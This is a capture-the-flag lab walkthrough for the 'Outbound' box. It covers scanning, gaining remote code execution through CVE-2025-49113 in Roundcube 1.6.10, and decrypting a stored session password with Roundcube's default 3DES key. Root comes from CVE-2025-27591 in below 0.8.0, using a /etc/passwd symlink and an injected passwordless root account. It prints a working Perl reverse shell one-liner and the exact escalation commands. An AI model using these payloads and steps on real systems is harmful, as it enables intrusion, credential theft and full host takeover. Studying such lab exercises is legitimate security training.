Description

difficulty: easy

As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler:LhKL1o9Nm3X2

Foothold

Nmap reveals the following TCP ports opened:

# Nmap 7.93 scan initiated Thu Jul 31 11:02:04 2025 as: nmap -Pn -A -oA outbound -sC -sV -p- outbound.htb
Nmap scan report for outbound.htb (10.129.141.156)
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c4bd276ab10069205dcf755947f18df (ECDSA)
|_  256 2d6d4a4cee2e11b6c890e683e9df38b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/31%OT=22%CT=1%CU=39875%PV=Y%DS=2%DC=T%G=Y%TM=688B4D4
OS:7%P=aarch64-unknown-linux-gnu)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS
OS:=A)OPS(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M
OS:552ST11NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE
OS:88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8080/tcp)
HOP RTT      ADDRESS
1   12.99 ms 10.10.14.1
2   13.16 ms outbound.htb (10.129.141.156)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 31 11:02:31 2025 -- 1 IP address (1 host up) scanned in 27.87 seconds

To visit the website, adding the virtual host mail.outbound.htb to /etc/hosts is necessary.

The website consists in a deployment of the roundcube web application, version v1.6.10. Using google allows to find that for this roundcube version exists the CVE‑2025‑49113 that allows to perform RCE via PHP session corruption and insecure object deserialization.

By abusing the vulnerability a reverse shell can be obtained. For this box the first working reverse shell payload was the following, based on perl and taken from PayloadAllTheThings: perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

The web application runs inside a docker container (there is a file /.dockerenv).

The user who runs the web application is www-data. By lurking around the DB credentials are found in <file_path | stefano compila e metti un riferimento al file>. Inside the DB the web application sessions is stored. One of the stored session belongs to the user jacob. The session also contains the encrypted password for user jacob. The encryption algorithm ('triple-des') and the encrypted payload format can be deduced by reading the source code. Follows the decryption script:

# Password di Jacob: 595mO8DmwGeD
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad

cipher = bytes.fromhex('2fb46fd3403c4eec0902bebb9084f1c5c4a09c8936e409bf')
key = b'rcmail-!24ByteDESkey*Str'
decryptor = DES3.new(key, DES3.MODE_CBC, cipher[:8])
print(unpad(decryptor.decrypt(cipher[8:]), 8).decode())

Horizontal privilege escalation to jacob

The following mail are found if accessing jacob's account:

We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the the logs.
Please inform us immediately if you notice any irregularities.

Thanks!

Mel

Due to the recent change of policies your password has been changed.

Please use the following credentials to log into your account: gY4Wr3a1evp4

Remember to change your password when you next log into your account.

Thanks!

Tyler

The second one contains the new jacob password, that can be used directly to access the system via ssh.

Vertical privilege escalation

Follows the output of sudo -l:

jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

To "check the log", jacob can execute below as root:

┌──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│08/02/2025 21:56:25 UTC+00:00     Elapsed: 5s     outbound     0.8.0     live                                         |└──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘

below version is 0.8.0, and its affected by CVE-2025-27591. The vulnerability uses a wrong permission management of below log. Before writing into log file below sets the permission to 0666 without performing any kind of check. This can be exploited by creating a symlink to /etc/passwd in /var/log/below/error_root.log. The passwd file becoms writable by every user and another root account can be added:

jacob@outbound:~$ rm /var/log/below/error_root.log
jacob@outbound:~$ ln -s /etc/passwd /var/log/below/error_root.log
jacob@outbound:~$ sudo below snapshot --begin now
Snapshot has been created at snapshot_01754172618_01754172618.2YzitG
jacob@outbound:~$ echo 'pwned::0:0:root:/root:/bin/bash' >> /etc/passwd
jacob@outbound:~$ su pwned
root@outbound:/home/jacob# whoami
root
root@outbound:/home/jacob#